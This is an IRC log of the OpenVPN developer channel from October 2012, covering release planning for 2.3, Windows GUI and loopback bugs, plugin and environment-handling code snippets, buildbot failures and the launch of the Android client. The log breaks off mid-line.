#openvpn-devel 09:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:28 <@mattock> monitoring in place on master now 09:31 <@ecrist> :) 09:33 < plaisthos> great f-droid build a version of my software that is broken accodring to bug report *rolls eyes* 09:46 <@ecrist> I really wish cyanogen would develop a rom for my phone 09:46 <@ecrist> :\ 10:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:16 < plaisthos> Does the openvpn windows gui use persist-tun on default? 16:33 <@ecrist> I don't think so 18:13 <@vpnHelper> RSS Update - tickets: #231: Options parsing demands unnecessary configuration if PKCS11 is used <https://community.openvpn.net/openvpn/ticket/231> --- Day changed Thu Oct 11 2012 00:17 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:23 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 00:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:31 <@ecrist> cron2: I've got PRs in for both -beta and -devel, hoping the next day or two things will get comitted 07:31 <@ecrist> those ports will be part of base freebsd release for 9.1 07:33 <@cron2> cool 10:37 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Read error: No route to host] 10:37 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:37 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 14:40 -!- InFlames [~InFlames@pool-173-60-47-77.lsanca.fios.verizon.net] has joined #openvpn-devel 14:40 < InFlames> hello 14:41 <+krzee> hello 14:42 < InFlames> can you help me with a little ubuntu and openvpn problem? 14:42 <+krzee> you should be in #openvpn 14:42 < InFlames> oh is this for developers? 14:42 < InFlames> oops 14:42 < InFlames> :x 14:42 < InFlames> thanks ;] 14:42 <+krzee> right, #openvpn-devel ;] 14:42 <+krzee> np 14:43 -!- InFlames [~InFlames@pool-173-60-47-77.lsanca.fios.verizon.net] has left #openvpn-devel [] 15:14 <@ecrist> kinda sorta in the name... 15:15 <@cron2> let's rename it to #openvpn-this-is-not-the-user-support-channel 15:19 <@ecrist> I'll create that, we'll forward this channel there 15:19 <@ecrist> EPIC 15:39 < plaisthos> and that will foward sometime later to 15:39 < plaisthos> #openvpn-this-is-not-the-user-support-channel-we-really-mean-it 15:42 <@ecrist> followed soon by #openvpn-this-is-not-the-user-support-channel-we-really-really-really-mean-it--------really 17:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 19:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:25 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 23:42 -!- magdalenas [~cruzer@199.195.193.31] has joined #openvpn-devel 23:48 -!- magdalenas [~cruzer@199.195.193.31] has quit [Ping timeout: 245 seconds] 23:56 -!- magdalanes [~cruzer@199.195.193.31] has joined #openvpn-devel 23:59 < magdalanes> Hi, I think this might be the right channel for asking this question, I tried to compile openVPN without configuration , most of the port are working, unless for port 53. I tried to set it manually to port 53 but when I try to connect, I receive Socket bind failed, if I compile it using other port it works. I try to find any restriction from the source code for using port 53, but seems I cant find anything related to port 53. --- Day changed Fri Oct 12 2012 00:01 < magdalanes> is it kinda a bug or OpenVPN are coded that way that prevent the use of port 53, I can use port 53 if I use .ovpn by stating the port. 04:27 -!- magdalanes [~cruzer@199.195.193.31] has quit [Quit: Leaving] 04:50 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:50 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:05 <@cron2> ecrist, plaisthos: just looking at the question above, we really need to change the channel name 05:05 <@cron2> dazo: welcome back :-) still on vacation? 05:06 <@dazo> cron2: just back from holiday :) 05:06 <@dazo> Starting calmly on a Friday to have a slow spin-up from holiday mode to work mode :P 05:07 <@cron2> sounds like a good plan 05:08 <@dazo> Anything important happened since mid september? 05:08 <@cron2> two bugs in beta1!!! 05:08 <@dazo> wow! 05:08 <@dazo> have they been filed? 05:08 <@cron2> one in the windows installer, one in the windows gui :-) 05:09 <@cron2> oh, and one patch to the v3 plugin API 05:09 <@dazo> ahh, okay ... the installer is the PATH mess we discovered? and the GUI was discussed on the ML, I believe, right? 05:09 <@dazo> hmmmm 05:09 <@cron2> yes 05:10 <@cron2> I read this as "OpenVPN core is fine, people actually gave it enough testing, we need to fix a few minor issues and then we're good for release" :-) 05:10 <@dazo> ahh, yeah the plugin patch I noticed ... (I had to read mail :)) 05:10 <@dazo> I agree 05:10 * cron2 is quite happy 05:11 <@dazo> has anyone tried to fix the PATH issues with nsis installer? 05:11 <@dazo> (I believe that's the most difficult one9 05:11 <@dazo> ) 05:11 <@cron2> mattock built a new one with 8000-byte-limit, and that one works 05:11 <@dazo> ahh, nice! 05:11 <@dazo> has it been published? 05:12 <@cron2> yes, beta1-I002 on the community site 05:12 <@dazo> perfect! 05:41 -!- Netsplit *.net <-> *.split quits: maxb 05:42 -!- Netsplit *.net <-> *.split quits: ender|, @vpnHelper, @andj 05:44 -!- Netsplit over, joins: @vpnHelper, @andj, ender| 07:05 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 07:11 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 07:21 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 08:00 <@ecrist> cron2: the only thing we really could do is set a key, or make the channel invite-only 08:01 <@ecrist> people with chanserv access can request an invite from chanserv 08:24 * cron2 was more joking... "if we make idiot-proof things, nature makes better idiots" 08:42 -!- dazo is now known as dazo_afk 08:47 -!- dazo_afk is now known as dazo 10:01 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 10:04 <@mattock> dazo: I take it you're back from your holiday? 10:04 <@dazo> mattock: I am :) 11:49 -!- dazo is now known as dazo_afk 15:01 * plaisthos wonders if openvpn_sockaddr has been introduced by the ipv6 patch or if it was there before ... 15:03 <@cron2> there's "git blame"... 15:06 < plaisthos> Do I really want to know? 15:08 < plaisthos> was always there ... 15:11 <@cron2> plaisthos: I assume you wanted to know which way to send the curses :) 15:20 < plaisthos> I am at just again coding on dual stack openvpn 15:21 < plaisthos> and struct addrinfo* and openvpn_sockaddr don't play well together 15:22 < plaisthos> Fri Oct 12 22:21:50 2012 UDP link remote: [AF_INET6]2001:638:502:390:5054:ff:fecd:d189:1194 15:22 < plaisthos> *sigh* 15:22 * plaisthos goes to look up how this should be displayed 15:54 <@cron2> we could use ".1194" or [2001:638:...d189]:1194 15:55 <@cron2> the latter is what web browsers understand, the former is what "netstat -an" prints on *BSD... 15:56 < plaisthos> yes 15:56 < plaisthos> I looked into netstat 15:56 < plaisthos> *BSD looks funny for ipv4 (192.168.0.1.1194) and Linux looks funny on ipv6 (::1:1194) 15:59 <@cron2> hooray 16:02 < plaisthos> the [::1]:1149 is strictly only defined in a URI like http://[::1]:1194 16:02 < plaisthos> I will continue to fix real problems and leave that for later 18:02 <@ecrist> I prefer [::1]:1149 18:02 <@ecrist> but, I'm a BSD guy, so... 18:03 <@ecrist> also of note, [::1]:port is the canoncial way to do it (other daemons, etc do it this way) 19:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 20:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 246 seconds] 22:59 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:59 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Sat Oct 13 2012 11:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 15:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 22:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Sun Oct 14 2012 00:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:59 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 15:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 16:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 16:23 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:23 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:35 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 21:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Oct 15 2012 02:05 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:05 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:33 -!- dazo_afk is now known as dazo 08:04 <@d12fk> oh boy, the gui is not win 8 ready, because the broke the loopback interface there 08:05 <@cron2> hawut? 08:05 <@d12fk> currently the mgmt itf in bound to 127.0.0.10:port, fails in win 8 08:05 <@d12fk> works again if i bind to 127.0.0.1:port 08:06 <@d12fk> windows is not a networking os =) 08:06 <@cron2> mmmh 08:06 <@cron2> why do you expect communication on 127.0.0.10 to work, if that's not an address ifconfig'ed anywhere? 08:07 <@d12fk> it has worked ever since xp 08:07 <@cron2> "bug fixed!" :-) 08:07 <@d12fk> loopback is special in windows anyway 08:07 <@cron2> true. Wouldn't have worked on any of the unixes 08:08 <@d12fk> i.e. wireshark can't capture on loopback 08:08 <@d12fk> i'm not too happy with the tcp mgmt itf 08:09 <@d12fk> there's no mutual auth 08:09 <@dazo> d12fk: you know that mgmt intf supports unix sockets on *nix ... so why not add a similar approach with some named pipes or similar on Win? 08:10 * cron2 silences dazo "we want a release soon!" 08:10 <@dazo> lol 08:10 <@d12fk> thinking about it but named pipes work with handles, not sockets, so recv/send won't work and i'd need to hack a glue layer 08:10 <@dazo> cron2: I'm thinking this is 2.4+ stuff ;-) 08:11 <@dazo> d12fk: ahh, I wasn't aware of that ... :/ (but I'm not a win developer either) 08:12 <@d12fk> me neither =P 08:12 <@cron2> d12fk: how does GUI development work right now, as in "when and where will mattock find a fixed gui for 2.3_beta2"? 08:12 * dazo looks at d12fk boots, which is soaked into windows gui code ... 08:13 <@cron2> dazo: just because he has to do it doesn't make him a windows developer :-) 08:13 <@dazo> cron2: sshhh!!! 08:13 <@dazo> (don't say that aloud!) 08:13 <@dazo> ;-) 08:14 <@d12fk> cron2: so far mattock picked up the latest git when hebuild a windows installer and used that one 08:15 <@cron2> d12fk: bug already fixed there? 08:15 <@d12fk> no just found out about it and there are these other two from the list that await fixation 08:15 <@d12fk> .. or is it fixification?! =) 08:16 <@d12fk> crucifixification... 08:16 <@dazo> if it's just the GUI needing update ... I'd propose a 2.3_beta1-I003 release ... as 2.3_beta1 refers to the openvpn core 08:17 <@cron2> there's one patch on the list for the v3 plugin API 08:17 <@d12fk> i would weave it into beta2 08:17 <@dazo> cron2: duh 08:17 <@dazo> yeah it is ... had forgotten about it in all my mails 08:17 <@cron2> so that would make it beta2 + gui fix -> 2 weeks -> release? 08:17 <@dazo> s/2/1/ .... 08:17 <@dazo> ahh, 08:18 <@dazo> I thought you meant 2 weeks to fix and release beta2 08:18 <@d12fk> well the gui is fixed tomorrow 08:18 <@cron2> whatever, as long as we manage to do it this year :) 08:18 * dazo jumps at the plugin patch now 08:33 <@mattock_> if the plugin v3 patch is fairly trivial, maybe release 2.3-beta1 with fixed windows installer? 08:33 <@mattock_> so that we don't end up in endless beta cycle 08:34 <@mattock_> also, we could push the codebase out to Coverity for static analysis at RC phase 08:34 <@cron2> mattock: I think we are effectively at RC -> please push 08:34 <@cron2> (even if it's not called "RC" yet, the amount of patches going in is very small) 08:35 <@mattock_> yep, exactly 08:35 <@mattock_> let's get 2.3 (final) out finally :) 08:35 <@cron2> +473 08:35 <@mattock_> then move on to more interesting things such as "major cleanups in 2.4" :D 08:42 <@dazo> mattock_: I don't think we really need an RC phase ... unless we declare beta2 == RC 08:42 <@mattock_> well, perhaps RC is better 08:42 <@mattock_> people will be lured into thinking it's better than beta2 08:42 <@mattock_> i.e. will download it more 08:42 <@dazo> yeah :) 08:43 <@cron2> yeah 08:47 < keitsi> most people don't know how good the openvpn betas actually are :) 09:27 <@vpnHelper> RSS Update - tickets: #232: Version 2.3_beta1 removes PATH in windows 7 <https://community.openvpn.net/openvpn/ticket/232> 10:50 <@dazo> *sigh* 10:50 <@dazo> if (type == OPENVPN_PLUGIN_ENABLE_PF && success) 10:50 <@dazo> return OPENVPN_PLUGIN_FUNC_SUCCESS; 10:51 <@dazo> else if (error) 10:51 <@dazo> return OPENVPN_PLUGIN_FUNC_ERROR; 10:51 <@dazo> else if (deferred) 10:51 <@dazo> return OPENVPN_PLUGIN_FUNC_DEFERRED; 10:51 <@dazo> } 10:51 <@dazo> return OPENVPN_PLUGIN_FUNC_SUCCESS; 10:51 <@dazo> } 10:51 <@dazo> Is it really not possible to make this more complicated!?!?! 10:52 * dazo thinks it OPENVPN_PLUGIN_* statuses could be saved directly in a variable and returned instantly 10:53 <@dazo> This is the block which sets success, error and deferred variables ... 10:53 <@dazo> switch (status) 10:53 <@dazo> { 10:53 <@dazo> case OPENVPN_PLUGIN_FUNC_SUCCESS: 10:53 <@dazo> success = true; 10:53 <@dazo> break; 10:53 <@dazo> case OPENVPN_PLUGIN_FUNC_DEFERRED: 10:53 <@dazo> deferred = true; 10:53 <@dazo> break; 10:54 <@dazo> default: 10:54 <@dazo> error = true; 10:54 <@dazo> break; 10:54 <@dazo> } 10:54 <@dazo> } 11:07 <@cron2> this looks... sort of cyclic... :-o 11:08 <@ecrist> cron2: btw, the updated -beta and -devel ports are in the tree now 11:08 <@dazo> cool! 11:10 <@ecrist> they were actually in the tree on Thursday. :) 11:10 * ecrist poofs some lunch 11:32 <@cron2> ecrist: cool 11:54 <@cron2> ecrist: installed, looks good. Restart "later tonight", right now the server is busy 12:01 <@dazo> 2 patches applied to master and beta/2.3 ... (arne's man page update + the plugin patch) ... so I think we're getting ready for 2.3_RC1, right? 12:01 <@vpnHelper> RSS Update - testtrac: Fix v3 plugins to support returning values back to OpenVPN. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e92255f58bcfaec157c3ef59e01c40cbd04b1d43> || Document man agent-external-key <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=75b6f4bd84302d225a301f4ed87e2bb27908b972> 12:02 <@dazo> I can have a look at tagging things in the coming days ... so, unless something urgent needs to get in ... let me know asap 12:23 -!- dazo is now known as dazo_afk 13:00 <@cron2> huh, why is my buildbot failing connection tests? 14:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 15:03 < plaisthos> dazo_afk: there is one thing I might to fix 15:03 < plaisthos> there was a ticket that my patch that checks external-key introduced a regression but I have not looked into it yet 16:02 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 16:02 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:02 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 16:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:06 <@vpnHelper> RSS Update - tickets: #233: Regression from 2.2 to 2.3 beta, tap related bugs/workarounds. <https://community.openvpn.net/openvpn/ticket/233> 21:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 22:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Oct 16 2012 02:04 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock_] 03:42 -!- dazo_afk is now known as dazo 03:48 <@dazo> plaisthos: goodie ... is it possible to have a fix for that within Thursday? Then I can grab your patch and tag the RC1 release 05:38 <@dazo> eek ... found some nasty issues with platform_putenv() / manage_env() / add_env_item() / remove_env_item() when using --script-security 2 system .... 05:38 * dazo who thought that would be an easy fix :/ 05:39 <@dazo> related to https://community.openvpn.net/openvpn/ticket/228 05:39 <@vpnHelper> Title: #228 ("Assertion failed at buffer.c:331" with up/down options and "script-security 2 system") – OpenVPN Community (at community.openvpn.net) 09:24 < plaisthos> dazo: Will try 09:24 < plaisthos> dazo: have looked on my status patch? 09:25 < plaisthos> Message-Id: <1346422753-19520-1-git-send-email-arne@rfc2549.org> 09:25 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:25 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:26 <@dazo> plaisthos: oh .... probably not in a long long time ... :/ got a pointer? 09:28 <@dazo> thx! 09:48 <@dazo> plaisthos: ahh, that patch is slated for 2.4, and I haven't started going through the "postponed" patches yet 09:51 < plaisthos> dazo: ah okay 09:51 <@dazo> I don't want to add or modify any features this late in the 2.3 cycle ... so lets only do bugfixes now :) 09:57 < plaisthos> kk 09:59 <@dazo> I'm wondering if we should kick out support for 'script-security 2 system' .... 09:59 <@dazo> e = malloc(256); 09:59 <@dazo> memset(e, 0, 256); 09:59 <@dazo> snprintf(e, 200, "TESTVALUE=abc"); 09:59 <@dazo> putenv(e); 09:59 <@dazo> system("/bin/sh"); 09:59 <@dazo> snprintf(e, 200, "TESTVALUE=defgah"); 09:59 <@dazo> system("/bin/sh"); 09:59 <@dazo> return 0; 09:59 <@dazo> guess what happens with $TESTVALUE ..... 10:01 <@dazo> either that ... or a massive overhaul of the environment handling is needed when using system() 10:02 * plaisthos likes kicking it out ;) 10:04 <@dazo> I'll ask the guy reporting it, for a reason why he uses system() instead of execve() 11:07 <@dazo> ecrist: Would you have any chance to have a look at this one? https://community.openvpn.net/openvpn/ticket/204 ... if you manage this week, we're can include it into the 2.3_RC1 we're planning very soonish 11:07 <@vpnHelper> Title: #204 (nsCertType not set to "client" for a client cert) – OpenVPN Community (at community.openvpn.net) 11:08 <@dazo> (mostly due to the Windows bundling) 11:16 -!- dazo is now known as dazo_afk 11:32 <@ecrist> sure 11:32 <@ecrist> I'll look at it tomorrow, probably 11:33 <@ecrist> there's another ticket, iirc (maybe that one) that I've been meaning to look at 11:44 <@ecrist> should be an easy patch, if there's a to-do at all 11:56 <@d12fk> gui is fixed, heading home 15:00 <@cron2> d12fk: cool 15:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:07 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:07 <@raidz> Hey guys, just a heads up, we officially released OpenVPN Connect for Android: https://play.google.com/store/apps/details?id=net.openvpn.openvpn 15:07 <@vpnHelper> Title: OpenVPN Connect - Android Apps on Google Play (at play.google.com) 15:08 <@raidz> its free and will work with Community and Access Server 16:10 <@ecrist> neat! 16:10 <@ecrist> twitter post? 16:11 <@raidz> https://twitter.com/OpenVPN/status/258295333388427264 16:11 <@vpnHelper> Title: Twitter / OpenVPN: Check out OpenVPN Connect on ... (at twitter.com) 16:16 <@ecrist> retweeted 16:18 <@ecrist> raidz: what version of openvpn is it based on? 16:18 <@ecrist> I have someone asking if it supports IPv6 16:19 <@ecrist> nm 16:19 <@ecrist> I can read the play listing 16:19 <@raidz> yep, supports ipv6 16:20 <@ecrist> which version of OpenVPN is it based on? 16:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 17:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:51 -!- jima [jima@fedora/jima] has joined #openvpn-devel 17:52 < jima> raidz: i hear you're the expert regarding the android client? 17:53 <@raidz> jima: Far from exper, honestly haven't played with it much yet, ecrist did fill me in on your issue and I have notified the devs about it. Do you have an e-mail I can contact you on when I hear back? 17:53 < jima> sure, jima@beer.tclug.org 17:54 <@raidz> thanks jima, you can shoot and bugs you run into at: android@openvpn.net 17:54 <@raidz> that forwards to myself and our dev in charge of this project 17:55 <@ecrist> raidz: we should start an android forum, too, probably 17:55 <@raidz> ecrist: Agreed, would not be a bad idea 17:56 <@raidz> be ready for an ios one as well ;-) 17:57 <@raidz> jima: are all certs and keys stored inline to the profile? 17:57 <@ecrist> maybe a mobile category, the, android, ios, win7, etc 17:58 < jima> hmm...maybe i'm misunderstanding the notion of how profiles are supposed to work. 17:58 <@raidz> That would probably be better ecrist 17:58 <+krzee> you mean winmobile not win7 right? 17:59 <@ecrist> yeah 17:59 <+krzee> ya i agree too 18:07 < jima> good news: puzzling out the inline cert/key/ca syntax (that i had not realized existed) killed that error. the bad news: i use tun topology, which isn't supported. doh. 18:07 < jima> thanks raidz, sorry for the noise. 18:07 < jima> ecrist: thanks for making noise on my behalf. 18:08 <@ecrist> jima: no problem. :) 18:08 < jima> as an aside: the inline cert/key/ca syntax is AWESOME. 18:08 <@ecrist> is it even documented now? it used to not be 18:13 < jima> i found it on http://forums.openvpn.net/topic7731.html 18:13 <@vpnHelper> Title: OpenVPN Support Forum Create ovpn client file : Server Administration (at forums.openvpn.net) 18:13 < jima> although the "cert [inline]" stuff didn't seem to work 18:15 < jima> i also like that you can (apparently?) mix and match between old-style config and xml 18:24 <+krzee> xml? 18:25 < jima> well, xml-style 18:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 19:37 -!- raidz is now known as raidz_afk 20:20 -!- Netsplit *.net <-> *.split quits: @mattock_ 20:21 -!- Netsplit over, joins: @mattock_ 21:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] --- Day changed Wed Oct 17 2012 02:36 <@cron2> ecrist: it's documented in 2.3 02:43 -!- dazo_afk is now known as dazo 02:47 <@dazo> raidz_afk: will the android client be open sourced? 02:48 <@dazo> raidz_afk: and which openvpn version is it based on= 02:49 <@dazo> ? 02:49 <@dazo> ecrist: inline files will at least be documented in 2.3 04:00 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock_] 04:02 < plaisthos> jima: inline stuff is quite old (2.1something) but has never been documented. 04:38 * andj blushes 04:38 <@andj> I found a nasty little bug in the PolarSSL inline parsing 04:38 <@andj> Patch incoming 04:49 <@dazo> andj: perfect timing :) 04:52 <@cron2> andj: indeed, great timing :-) 05:01 <@andj> I'm working on getting my OpenVPN-NL patches working on 2.3 05:01 <@andj> and I found that little gem by shear coincidence 05:01 <@andj> After that I scrolled up a little in the IRC log 05:02 <@andj> :) 05:08 <@dazo> andj: it's just that ';' too much? 05:09 <@andj> Yeah, it seems to be loading the cert just fine 05:09 <@andj> But it always gives an error with the ; :( 05:09 <@dazo> heh, yeah 05:10 <@dazo> that's one reason I prefer {} even on single line if() blocks .... as if (blablabla); { ... would look odd :) (it might compile, I dunno) 05:11 <@andj> static checking tools tend to find this kind of stuff too 05:11 <@dazo> yeah, true 05:11 < plaisthos> dazo: yeah would compile just fine 05:12 <@andj> But there's a bunch of ifs that only have an new-line and ";" in other places, and those drowned out the warning 05:13 <@dazo> cron2: did you figure out why buildbot connection tests failed the other day? 05:17 <@vpnHelper> RSS Update - testtrac: Fixed a bug where PolarSSL gave an error when using an inline file tag. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=2ebbe4c0b4f0f0b15b4c32180e906a545446c376> 05:17 <@dazo> andj: patch ack'ed and applied :) 05:18 * plaisthos should have named his openvpn client better 05:18 <@dazo> :) 05:19 < plaisthos> now there is "OpenVPN Settings", "OpenVPN for Android" and "OpenVPN Connect" 05:20 <@dazo> well, "OpenVPN Settings" is kind of odd name ... and OpenVPN Connect matches the "Connect" product of the openvpn comp 05:20 <@andj> dazo: thanks :) 05:33 <@andj> Why on earth are free-form keys allowed? 05:37 < plaisthos> free form keys? 05:38 <@andj> Aside from a normal pem key file, you can also specify any other file as a key 05:38 <@andj> In which case a hash of that file is taken 05:38 <@cron2> dazo: not yet. Something on the freebsd74 box is weird 05:38 < plaisthos> ah yes I found that feature confusing as hell as well 05:38 < plaisthos> "feature" 05:39 <@andj> It sounds like a security incident waiting to happen :) 05:42 < plaisthos> nah you just get strange error messages 05:42 < plaisthos> like not enough for constructing private key 05:43 <@andj> The trouble is that if someone accidentaly specifies the wrong file as a key file (e.g. the public key), the hash of that will be used. You don't have any extra checks 05:43 < plaisthos> ah okay 05:43 < plaisthos> that ... :/ 05:46 < plaisthos> #ifdef + if else maze 05:47 < plaisthos> dazo: I have prepared a fix for the ticket 05:47 < plaisthos> the unifed diff looks rather funny :) 06:09 <@cron2> dazo: have you pushed your commits of today already? 06:09 * cron2 wonders whether buildbot is fine or not now 06:18 < plaisthos> cron2: I already got them 06:39 -!- dazo is now known as dazo_afk 06:51 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:51 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:59 -!- dazo_afk is now known as dazo 07:05 <@dazo> cron2: I did ... pushed out andj's patch 07:17 <@cron2> dazo: can you see if buildbot did anything with it (not @home, have no view in the community VPN right now) 07:44 <@dazo> cron2: yeah, all builds okay ... but a couple of t_client.sh tests failed 07:47 <@cron2> mmmh, haven't seen any mails yet. something is slow today 07:49 <@dazo> cron2: first failure: http://www.fpaste.org/OE5E/ (builder-centos-6-amd64-stable-master) 07:50 <@dazo> cron2: second failure: http://www.fpaste.org/tAGL/ (builder-cron2-freebsd-74-amd64-stable-master) 07:52 < jima> plaisthos: good to know i wasn't being totally stupid. 08:01 <@cron2> dazo: yeah, that's the same one we had last time (for FreeBSD) - I'll look into that, could be "buildslave not set up right". The Linux thing is "ip route" showing funnies again :-( 08:02 <@dazo> cron2: the interesting thing with the linux thingy ... it's only the main master build which fails. It worked with the previous pushes ... and it works with other centos build configs 08:04 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 08:09 <@cron2> dazo: looking at this, it's failing in the diff, and the only thing that's different is the number *before* the "tun10" 08:15 <@cron2> so for whatever reason, the interface gets a new internal number... 08:21 <@ecrist> I think we should halt support for linux. Maybe, for 2.3, put a warning for users that linux support is deprecated? 08:21 * cron2 slaps ecrist 08:21 <@ecrist> :) 08:22 <@cron2> dazo: I think mattock changed something in the buildslave setup, like moving the community VPN to tun10 instead of tun0, and now the interface ordering changes 08:22 < jima> ecrist: ok, i'm banning you from #tclug ;-) 08:23 <@dazo> ecrist: you know that would also hurt Android users as well? ;-) 08:23 < jima> it's ok to him, because he hates freedom^Wlinux 08:23 <@dazo> hehehehe 08:24 <@dazo> even though, FreeBSD isn't that far away, in regards to freedom ... it just got a bit more less restrictive license, though 08:24 < jima> nah, the "freedom" was just following the normal phrase, not intended as any sort of statement about linux 08:25 < jima> everyone knows windows is where it's at for freedom 08:25 < jima> look at all the app options! freedom of choice. 08:26 <@dazo> well, whenever I try to use Windows ... I feel like I'm in prison .... so our freedom perspective might be a bit different ;-) 08:26 < jima> dazo: trolling is an art. ;-) 08:26 <@dazo> ;-) 08:27 <@ecrist> indeed 08:28 <@ecrist> raidz_afk/mattock: the android app is getting negative reviews (one so far) for the issue jima reported 08:29 < jima> i think the notion of how to do profiles needs to be documented better :-| 08:29 < jima> also the lack of tun support maybe? 08:29 <@ecrist> lack of tun support? 08:29 < jima> uhm...yeah? 08:30 <@dazo> not tap support? 08:30 <@ecrist> afaik, android support tun, but not tap 08:30 < plaisthos> no tap support 08:30 <@dazo> (that's my thought as well) 08:30 < plaisthos> at least with the official google api 08:31 < jima> "OpenVPN cannot create tun interface : option_error: only topology subnet supported" 08:31 <@ecrist> that's not lack of tun support 08:31 <@ecrist> that's a topology net30 issue 08:31 < plaisthos> and that should also not happen on android 08:31 < plaisthos> that always uses subnet :D 08:31 < jima> oh, is it? 08:32 < 